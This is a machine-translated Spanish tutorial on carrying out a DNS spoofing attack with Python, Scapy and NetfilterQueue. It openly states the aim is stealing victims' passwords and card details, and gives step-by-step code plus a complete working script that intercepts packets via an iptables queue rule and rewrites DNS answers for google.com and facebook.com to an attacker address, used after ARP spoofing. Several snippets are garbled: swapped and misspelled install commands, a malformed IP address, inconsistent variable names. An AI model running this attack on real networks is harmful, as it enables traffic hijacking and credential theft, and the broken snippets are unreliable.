¿Cómo hacer un ataque DNS Spoof usando Scapy en Python?

En este artículo, vamos a discutir cómo hacer un ataque DNS Spoof usando Scapy en Python. Antes de comenzar necesitamos saber algunos puntos:

  • Servidor DNS: el Sistema de nombres de dominio proporciona una manera de hacer coincidir los nombres de dominio legibles por humanos con las direcciones IP. Por ejemplo, cuando buscamos google.com, el navegador realiza una consulta DNS al servidor DNS para que devuelva la dirección IP del servidor de Google (172.217.166.110).
  • Suplantación de DNS : la suplantación de DNS es un tipo de ataque a la red informática, en el que un objetivo se ve obligado a navegar a la página falsa reemplazando la dirección IP enviada por el servidor DNS. Este objetivo no tiene idea de que es una página falsa. El motivo del ataque es robar los datos del objetivo (nombre de usuario, detalles de la tarjeta de crédito, contraseña, etc.).  

Módulo necesario:

  • NetfilterQueue:  NetfilterQueue es una biblioteca de Python que brinda acceso a los paquetes que coinciden con una regla de iptables en Linux. Los paquetes así emparejados pueden ser aceptados, eliminados, alterados o marcados. Ejecute el siguiente comando para la instalación:
pip3 install scapy
  • Scapy: Scapy es un paquete de Python utilizado para manipular paquetes de red informática. Puede realizar tareas como escaneo, rastreo de ruta, sondeo, pruebas unitarias y descubrimiento de redes. Ejecute el siguiente comando para la instalación:
pip3 install netfiltdrqueue

Enfoque utilizado:

  • Implemente la suplantación de ARP en la red del objetivo, de modo que todos los paquetes se enruten a través de su dispositivo.
  • Cree una regla de string Iptable para enviar los paquetes enrutados a través del dispositivo a Netfilter Queue.
  • El siguiente paso es procesar los paquetes con nuestro script (el script se explica a continuación).
  • Los paquetes procesados ​​serán enviados a la víctima.
  • Luego, la víctima recibirá una dirección IP falsa de la respuesta DNS.
  • Cuando desee finalizar el script, elimine la regla Iptable que creamos en el segundo paso.

Veamos los comandos y funciones para implementar DNS Spoof Step-wise.

Paso 1: Importación de módulos.

from scapy.all import *

import os
import logging as log
from scapy.all import IP, DNSRR, DNSQR, UDP, DNS
from netfilterqueue import NetfilterQueue

Paso 2: inserte esta regla en la tabla de IP para que los paquetes se redirijan a NetfilterQuque. Entonces podemos usar el paquete scapy para modificar los paquetes en la cola. El número de cola puede ser cualquier número de su elección.

os.system("sudo iptables -I FORWARD -j NFQUEUE --queue-num  1")

Paso 3: Cree el objeto NetfilterQueue.

queue = NetfilterQueue()

Paso 4: vincular el objeto de cola al número de cola y una función de devolución de llamada. Luego inicie la cola después de implementar la función de devolución de llamada.

queue.bind(queueNum,callback)
queue.run()

Paso 5: crear un diccionario de registros DNS de nombres de host que necesitamos falsificar. Puede agregar más asignaciones de nombres de dominio según su elección (no es necesario que todas las direcciones IP asignadas sean las mismas).  

hostsDict = {
    "google.com"  : "192.168..48.243",
    "facebook.com" : "192.168.48.243"
}

Paso 6: La función de devolución de llamada se llamará cuando un nuevo paquete ingrese a la cola. El paquete se pasará como argumento a la función de devolución de llamada.

def callBack(packet):

Paso 7: A continuación, convierta el paquete NetfilterQueue en un paquete scapy para procesar el paquete.

scapyPacket = IP(packet.get_payload())

Paso 8: Verifique que el paquete scapy tenga el registro de recursos DNS (DNSRR). Si tiene el DNSRR, modificaremos el paquete, de lo contrario no se realizarán cambios en el paquete.

if scapyPacket.haslayer(DNSRR):

Paso 9: obtenga el nombre de consulta DNS del paquete scapy. El nombre de consulta es el nombre de host enviado por la víctima al servidor DNS.

queryName = scapyPacket[DNSQR].qname

Paso 10: si el queryName está en nuestro destino hostDict, modificamos la dirección IP enviada por DNS con la dirección IP en hostDict.

if queryName in hostDict:
    sacpyPacket[DNS].an = DNSRR(rrname = queryName, rdata = hostDict[queryName])

Paso 11: Modificar el ancount del paquete con 1, ya que se nos envía un único DNSRR a la víctima.

scapyPacket[DNS].ancount = 1

Paso 12: la corrupción de paquetes se puede detectar usando la suma de verificación y otra información, por lo que los eliminamos y generamos una nueva entrada usando scapy.

del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum

Paso 13: establezca la carga útil del paquete Scapy modificado en el paquete NetfilterQueue.

packet.set_payload(bytes(scapyPacket))

Paso 14: El paquete está listo para ser enviado a la víctima.

packet.accept()

Paso 15: mientras finaliza el script, elimine la regla de tabla IP creada.

os.system("sudo iptables -D FORWARD -j NFQUEUE --queue-num 1")

A continuación se muestra la implementación completa:

Python3

import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue
  
  
class DnsSnoof:
    def __init__(self, hostDict, queueNum):
        self.hostDict = hostDict
        self.queueNum = queueNum
        self.queue = NetfilterQueue()
  
    def __call__(self):
        log.info("Snoofing....")
        os.system(
            f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
        self.queue.bind(self.queueNum, self.callBack)
        try:
            self.queue.run()
        except KeyboardInterrupt:
            os.system(
                f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
            log.info("[!] iptable rule flushed")
  
    def callBack(self, packet):
        scapyPacket = IP(packet.get_payload())
        if scapyPacket.haslayer(DNSRR):
            try:
                log.info(f'[original] { scapyPacket[DNSRR].summary()}')
                queryName = scapyPacket[DNSQR].qname
                if queryName in self.hostDict:
                    scapyPacket[DNS].an = DNSRR(
                        rrname=queryName, rdata=self.hostDict[queryName])
                    scapyPacket[DNS].ancount = 1
                    del scapyPacket[IP].len
                    del scapyPacket[IP].chksum
                    del scapyPacket[UDP].len
                    del scapyPacket[UDP].chksum
                    log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
                else:
                    log.info(f'[not modified] { scapyPacket[DNSRR].rdata }')
            except IndexError as error:
                log.error(error)
            packet.set_payload(bytes(scapyPacket))
        return packet.accept()
  
  
if __name__ == '__main__':
    try:
        hostDict = {
            b"google.com.": "192.168.1.100",
            b"facebook.com.": "192.168.1.100"
        }
        queueNum = 1
        log.basicConfig(format='%(asctime)s - %(message)s', 
                        level = log.INFO)
        snoof = DnsSnoof(hostDict, queueNum)
        snoof()
    except OSError as error:
        log.error(error)

Ejecutando Ataque:

  1. Ejecute el script de suplantación de ARP como superusuario (comando sudo), para ser el Man-In-The-Middle. Puede encontrar el guión y el tutorial aquí .
  2. Ahora, ejecute el script de falsificación de DNS como superusuario (comando sudo) que creamos ahora.

Intentando hacer ping a google.com y facebook.com desde la máquina de la víctima antes de ejecutar el script.

Intentando hacer ping a facebook.com desde la máquina de la víctima después de ejecutar el script.

máquina de la víctima

La máquina del atacante

Intentando hacer ping a google.com desde la máquina de la víctima después de ejecutar el script.

máquina de la víctima

La máquina del atacante

Tenga en cuenta que tanto google.com como facebook.com se asignaron a la misma dirección IP. Si la dirección IP modificada está en la red, el tráfico se reenviará a esa dirección IP.

Publicación traducida automáticamente

Artículo escrito por deepanshu_rustagi y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *